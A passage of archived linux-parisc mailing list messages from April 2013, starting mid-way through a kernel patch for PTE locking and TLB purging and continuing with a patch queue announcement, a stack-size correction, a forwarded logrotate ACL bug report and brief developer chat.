entries use different locking mechanisms, or no lock at all (set_pte_at).  This
change modifies the routines to all use the same lock pa_dbit_lock.  This lock
is used for dirty bit updates in the interruption code. The patch also purges
the TLB entries associated with the PTE to ensure that inconsistent values are
not used after the page table entry is updated.  The UP and SMP code are now
identical.

The change also includes a minor update to the purge_tlb_entries function in
cache.c to improve its efficiency.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Cc: Helge Deller <deller@gmx.de> 


diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 7df49fa..d5ad7a6 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -16,6 +16,8 @@
 #include <asm/processor.h>
 #include <asm/cache.h>
 
+extern spinlock_t pa_dbit_lock;
+
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -44,8 +46,11 @@ extern void purge_tlb_entries(struct mm_struct *, unsigned long);
 
 #define set_pte_at(mm, addr, ptep, pteval)                      \
 	do {                                                    \
+		unsigned long flags;				\
+		spin_lock_irqsave(&pa_dbit_lock, flags);	\
 		set_pte(ptep, pteval);                          \
 		purge_tlb_entries(mm, addr);                    \
+		spin_unlock_irqrestore(&pa_dbit_lock, flags);	\
 	} while (0)
 
 #endif /* !__ASSEMBLY__ */
@@ -435,48 +440,46 @@ extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t *);
 
 static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
+	pte_t pte;
+	unsigned long flags;
+
 	if (!pte_young(*ptep))
 		return 0;
-	return test_and_clear_bit(xlate_pabit(_PAGE_ACCESSED_BIT), &pte_val(*ptep));
-#else
-	pte_t pte = *ptep;
-	if (!pte_young(pte))
+
+	spin_lock_irqsave(&pa_dbit_lock, flags);
+	pte = *ptep;
+	if (!pte_young(pte)) {
+		spin_unlock_irqrestore(&pa_dbit_lock, flags);
 		return 0;
-	set_pte_at(vma->vm_mm, addr, ptep, pte_mkold(pte));
+	}
+	set_pte(ptep, pte_mkold(pte));
+	purge_tlb_entries(vma->vm_mm, addr);
+	spin_unlock_irqrestore(&pa_dbit_lock, flags);
 	return 1;
-#endif
 }
 
-extern spinlock_t pa_dbit_lock;
-
 struct mm_struct;
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
 	pte_t old_pte;
+	unsigned long flags;
 
-	spin_lock(&pa_dbit_lock);
+	spin_lock_irqsave(&pa_dbit_lock, flags);
 	old_pte = *ptep;
 	pte_clear(mm,addr,ptep);
-	spin_unlock(&pa_dbit_lock);
+	purge_tlb_entries(mm, addr);
+	spin_unlock_irqrestore(&pa_dbit_lock, flags);
 
 	return old_pte;
 }
 
 static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
-	unsigned long new, old;
-
-	do {
-		old = pte_val(*ptep);
-		new = pte_val(pte_wrprotect(__pte (old)));
-	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	unsigned long flags;
+	spin_lock_irqsave(&pa_dbit_lock, flags);
+	set_pte(ptep, pte_wrprotect(*ptep));
 	purge_tlb_entries(mm, addr);
-#else
-	pte_t old_pte = *ptep;
-	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-#endif
+	spin_unlock_irqrestore(&pa_dbit_lock, flags);
 }
 
 #define pte_same(A,B)	(pte_val(A) == pte_val(B))
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 4b12890..83ded26 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -421,14 +421,11 @@ void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 	/* Note: purge_tlb_entries can be called at startup with
 	   no context.  */
 
-	/* Disable preemption while we play with %sr1.  */
-	preempt_disable();
-	mtsp(mm->context, 1);
 	purge_tlb_start(flags);
+	mtsp(mm->context, 1);
 	pdtlb(addr);
 	pitlb(addr);
 	purge_tlb_end(flags);
-	preempt_enable();
 }
 EXPORT_SYMBOL(purge_tlb_entries);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: queued parisc patches on top of kernel 3.9
Date: Wed, 24 Apr 2013 00:16:11 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20130423221611.GA7841@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1366755375 24527 80.91.229.3 (23 Apr 2013 22:16:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Apr 2013 22:16:15 +0000 (UTC)
Cc: will@willdeacon.co.uk
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 00:16:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUlVb-0001DA-IB
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 00:16:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757016Ab3DWWQQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Apr 2013 18:16:16 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:65465 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756700Ab3DWWQP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Apr 2013 18:16:15 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.1]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MQbf1-1U5I9r1nNV-00U09X for
 <linux-parisc@vger.kernel.org>; Wed, 24 Apr 2013 00:16:14 +0200
Original-Received: (qmail invoked by alias); 23 Apr 2013 22:16:14 -0000
Original-Received: from p54AD11D8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.17.216]
  by mail.gmx.net (mp001) with SMTP; 24 Apr 2013 00:16:14 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+k2AZcZbikqMaXayDv3r/3dkF6c92E2Hj0kdzVnv
	9TRSZH2BYAUcER
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4942
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4942>

Hello everyone,

I've queued up a few patches which I think would be really nice to get
into kernel 3.9 (which isn't that likely since 3.9 is pretty much
closed). Nevertheless, with those patches all my machines have survived
all my tests, including hackbench, using sysrq-t and an load of > 300.

If you want to try, I suggest that you pull the "fixes-3.9-urgent" branch of:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git 

----------------------------------------------------------------
Helge Deller (2):
      parisc: increase kernel stack size to 32k
      parisc: disable -mlong-calls compiler option for kernel modules

John David Anglin (3):
      parisc: Provide __ucmpdi2 to resolve undefined references in 32 bit builds.
      parisc: Change kunmap macro to static inline function
      parisc: use spin_lock_irqsave/spin_unlock_irqrestore for PTE updates

Will Deacon (1):
      parisc: uaccess: fix compiler warnings caused by __put_user casting

 arch/parisc/Makefile                  |  6 +++--
 arch/parisc/include/asm/cacheflush.h  |  5 +++-
 arch/parisc/include/asm/pgtable.h     | 47 +++++++++++++++++++----------------
 arch/parisc/include/asm/thread_info.h |  2 +-
 arch/parisc/include/asm/uaccess.h     | 14 +++--------
 arch/parisc/kernel/cache.c            |  5 +---
 arch/parisc/kernel/parisc_ksyms.c     |  2 ++
 arch/parisc/lib/Makefile              |  3 ++-
 arch/parisc/lib/ucmpdi2.c             | 25 +++++++++++++++++++
 9 files changed, 68 insertions(+), 41 deletions(-)
 create mode 100644 arch/parisc/lib/ucmpdi2.c
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: increase kernel stack size to 32k
Date: Wed, 24 Apr 2013 09:33:50 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <51778ADE.4010906@gmx.de>
References: <20130423202203.GA7287@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366788834 5019 80.91.229.3 (24 Apr 2013 07:33:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 07:33:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 09:33:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUuDF-0002aU-R5
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 09:33:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757773Ab3DXHd5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 03:33:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50346 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757692Ab3DXHd4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 03:33:56 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MfTEr-1UAMGG1wEN-00P472 for
 <linux-parisc@vger.kernel.org>; Wed, 24 Apr 2013 09:33:55 +0200
Original-Received: (qmail invoked by alias); 24 Apr 2013 07:33:55 -0000
Original-Received: from p54AD1282.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.18.130]
  by mail.gmx.net (mp031) with SMTP; 24 Apr 2013 09:33:55 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19fW5QsXg5fWys0FofxVVsh8otOAY3b2QcQBPAxxn
	yvL/ih8nbx4Kpc
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130423202203.GA7287@p100.box>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4943>

On 04/23/2013 10:22 PM, Helge Deller wrote:
> commit e4e1e78facf7565cada909a69c7fb6415b6e7b83
> Author: Helge Deller <deller@gmx.de>
> Date:   Tue Apr 23 17:19:37 2013 +0200
> 
> parisc: increase kernel stack size to 32k
> 
> --- a/arch/parisc/include/asm/thread_info.h
> +++ b/arch/parisc/include/asm/thread_info.h
> -#define THREAD_SIZE_ORDER            2
> +#define THREAD_SIZE_ORDER            3	/* 32k stack */

I tested again, and it actually needs to be 64k stacks to not crash any longer.
So, the right temporary fix is:

> +#define THREAD_SIZE_ORDER            4	/* 64k stack */

Will send updated patch soon.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: Bug#706050: logrotate: spurious "error: getting file ACL" messages
Date: Wed, 24 Apr 2013 07:27:11 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <BLU0-SMTP185E1C91F553E01372591697B50@phx.gbl>
References: <20130424110157.GA24835@thinkpad.nowster.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366802869 28512 80.91.229.3 (24 Apr 2013 11:27:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 11:27:49 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 13:27:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUxrd-0002Ju-Cu
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 13:27:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932355Ab3DXL1w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 07:27:52 -0400
Original-Received: from blu0-omc4-s6.blu0.hotmail.com ([65.55.111.145]:29684 "EHLO
	blu0-omc4-s6.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932299Ab3DXL1v (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 07:27:51 -0400
Original-Received: from BLU0-SMTP18 ([65.55.111.137]) by blu0-omc4-s6.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 24 Apr 2013 04:27:51 -0700
X-EIP: [baYatxaj1d4PNN4welGXHAsi+DhDfiq8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.251]) by BLU0-SMTP18.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 24 Apr 2013 04:27:50 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Apr 2013 11:27:50.0144 (UTC) FILETIME=[C0C5F800:01CE40DE]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4944
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4944>

This is with 3.9-rc6.

Begin forwarded message:

> From: Paul Martin <pm@debian.org>
> Date: April 24, 2013 7:01:58 AM GMT-04:00
> To: Dave Anglin <dave.anglin@bell.net>, 706050@bugs.debian.org
> Cc: control@bugs.debian.org
> Subject: Re: Bug#706050: logrotate: spurious "error: getting file  
> ACL" messages
>
> tags 706050 pending
> thanks
>
> On Sun, Apr 21, 2013 at 09:49:08AM -0400, Dave Anglin wrote:
>> Installed 3.8.3-3 on system with ext3 file systems without ACL  
>> support.
>> Now get mail with following with following content:
>>
>> /etc/cron.daily/logrotate:
>> error: getting file ACL /var/log/mysql.log: Function not implemented
>> error: getting file ACL /var/log/syslog.1: Function not implemented
>
> [snip]
>
>> Shouldn't these be supressed?
>
> Yes, they should.
>
> The test is
>
>        if ((prev_acl = acl_get_fd(fdcurr)) == NULL) {
>                if (errno != ENOTSUP) {
>                        message(MESS_ERROR, "getting file ACL %s: %s 
> \n",
>                                currLog, strerror(errno));
>
>
> and your kernel is responding with ENOSYS instead.  This contradicts
> the manpage acl_get_fd(3):
>
>     [ENOTSUP]          The file system on which the file identified  
> by fd is
>                        located does not support ACLs, or ACLs are  
> disabled.
>
> Upstream haven't spotted this, so I'll fix the logic in the next  
> upload...
>
> -- 
> Paul Martin <pm@debian.org>
>

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: PARISC Linux website and status update
Date: Wed, 24 Apr 2013 09:18:41 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <CAE2sS1gDFqtvsk3hUoKNQJ6vSTurhhx5BNNC3iLbUnq_67Xu+Q@mail.gmail.com>
References: <5171B347.6070600@gmx.de>
	<13691126.u1dAREQ1nW@donald.sf-tec.de>
	<CA+DQjFhDcf09ZD9SvWvX95hu1hDd-T33YV-ipAzCNr5Se-dDKw@mail.gmail.com>
	<51729CA4.2060008@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1366809521 7692 80.91.229.3 (24 Apr 2013 13:18:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 13:18:41 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 15:18:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUzat-0005A7-28
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 15:18:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753958Ab3DXNSm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 09:18:42 -0400
Original-Received: from mail-oa0-f54.google.com ([209.85.219.54]:41026 "EHLO
	mail-oa0-f54.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753568Ab3DXNSm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 09:18:42 -0400
Original-Received: by mail-oa0-f54.google.com with SMTP id l20so1611383oag.41
        for <linux-parisc@vger.kernel.org>; Wed, 24 Apr 2013 06:18:41 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-received:x-originating-ip:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type:x-gm-message-state;
        bh=mzjmOSBJGP9jNKQlAFHkbOoPMEHUrUVHIl9Ac64OFEw=;
        b=cW7OXstrKCJnGN1NTPQY0NxhrDXK2fYZz/yQa46X+5VB5pp5OC+bjZRGmIKj21U9P5
         nZG1PdCxnOFbL4D6wHH6xaBhmhc9XCzUF2XVt1fUDxncXOD5OwIHyA/fmHaOIarq3ogr
         8TisX8ec3YolNa4za+yEUAE90RbfVaKDA+qe3CY8y7YKeg7x+rWPEH6ai4H2MvUi0ybV
         K9H0ijZ1IW0utGBi471gD75FL6yPjMDIsj3gOjIsrBVvSmT1kWLwtcHL63dgTsilFMwv
         vwQ03nmqjUbQx9tmAwdiSSl8RUrZthhgfwFg9wIzC/8vJryxHM31YWMdknd2mVKc9MA4
         255g==
X-Received: by 10.60.164.9 with SMTP id ym9mr14059247oeb.107.1366809521462;
 Wed, 24 Apr 2013 06:18:41 -0700 (PDT)
Original-Received: by 10.76.9.200 with HTTP; Wed, 24 Apr 2013 06:18:41 -0700 (PDT)
X-Originating-IP: [70.48.58.115]
In-Reply-To: <51729CA4.2060008@gmx.de>
X-Gm-Message-State: ALoCoQlkiVXEVP+m50KoO5xyuxQ/kexl1UKim7ombqzRGJJ5XrRZhGlQ60PZMoiTSLihwqei0iE4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4945 gmane.linux.debian.ports.hppa:6859
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4945>

On Sat, Apr 20, 2013 at 9:48 AM, Helge Deller <deller@gmx.de> wrote:
> So, sorry for forgetting to mention GENTOO LINUX on the website!
> I've fixed it now (please wait one hour until the cron job activates the changes).

I'm using Gentoo for all my hppa hacking right now since I wanted to
focus on toolchain issues rather than distribution issues :/

c.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: PARISC Linux website and status update
Date: Wed, 24 Apr 2013 09:48:14 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <5177E29E.1040505@bell.net>
References: <5171B347.6070600@gmx.de> <13691126.u1dAREQ1nW@donald.sf-tec.de> <CA+DQjFhDcf09ZD9SvWvX95hu1hDd-T33YV-ipAzCNr5Se-dDKw@mail.gmail.com> <51729CA4.2060008@gmx.de> <CAE2sS1gDFqtvsk3hUoKNQJ6vSTurhhx5BNNC3iLbUnq_67Xu+Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366811260 28016 80.91.229.3 (24 Apr 2013 13:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 13:47:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 15:47:42 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UV02v-0007Gv-KX
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 15:47:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754955Ab3DXNrk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 09:47:40 -0400
Original-Received: from mail17.primus.ca ([216.254.141.184]:50444 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754377Ab3DXNrk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 09:47:40 -0400
Original-Received: from 209-197-168-34.cpe.distributel.net ([209.197.168.34] helo=[192.168.0.181])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1UV02p-0007LG-26; Wed, 24 Apr 2013 09:47:35 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
In-Reply-To: <CAE2sS1gDFqtvsk3hUoKNQJ6vSTurhhx5BNNC3iLbUnq_67Xu+Q@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - 209-197-168-34.cpe.distributel.net ([192.168.0.181]) [209.197.168.34]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4946 gmane.linux.debian.ports.hppa:6860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4946>

On 4/24/2013 9:18 AM, Carlos O'Donell wrote:
> On Sat, Apr 20, 2013 at 9:48 AM, Helge Deller <deller@gmx.de> wrote:
>> So, sorry for forgetting to mention GENTOO LINUX on the website!
>> I've fixed it now (please wait one hour until the cron job activates the changes).
> I'm using Gentoo for all my hppa hacking right now since I wanted to
> focus on toolchain issues rather than distribution issues :/
I have to say one learns a lot about toolchain issues building a 
distribution...

Have you played with mysql-5.5?  Testsuite appears to show some
glibc problems (pthread_cond_timedwait).  Thoughts?

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#706050: logrotate: spurious "error: getting file ACL"
 messages
Date: Wed, 24 Apr 2013 19:11:27 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20130424191127.3e010f69@marga.jer-c2.orkz.net>
References: <20130424110157.GA24835@thinkpad.nowster.org.uk>
	<BLU0-SMTP185E1C91F553E01372591697B50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366823490 22548 80.91.229.3 (24 Apr 2013 17:11:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 17:11:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 19:11:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UV3ED-0001Cb-J2
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 19:11:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755428Ab3DXRLd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 13:11:33 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:54798 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755136Ab3DXRLc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 13:11:32 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 911F933DC38;
	Wed, 24 Apr 2013 17:11:31 +0000 (UTC)
In-Reply-To: <BLU0-SMTP185E1C91F553E01372591697B50@phx.gbl>
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.16; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4947
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4947>

On Wed, 24 Apr 2013 07:27:11 -0400
John David Anglin <dave.anglin@bell.net> wrote:

> > and your kernel is responding with ENOSYS instead.  This contradicts
> > the manpage acl_get_fd(3):

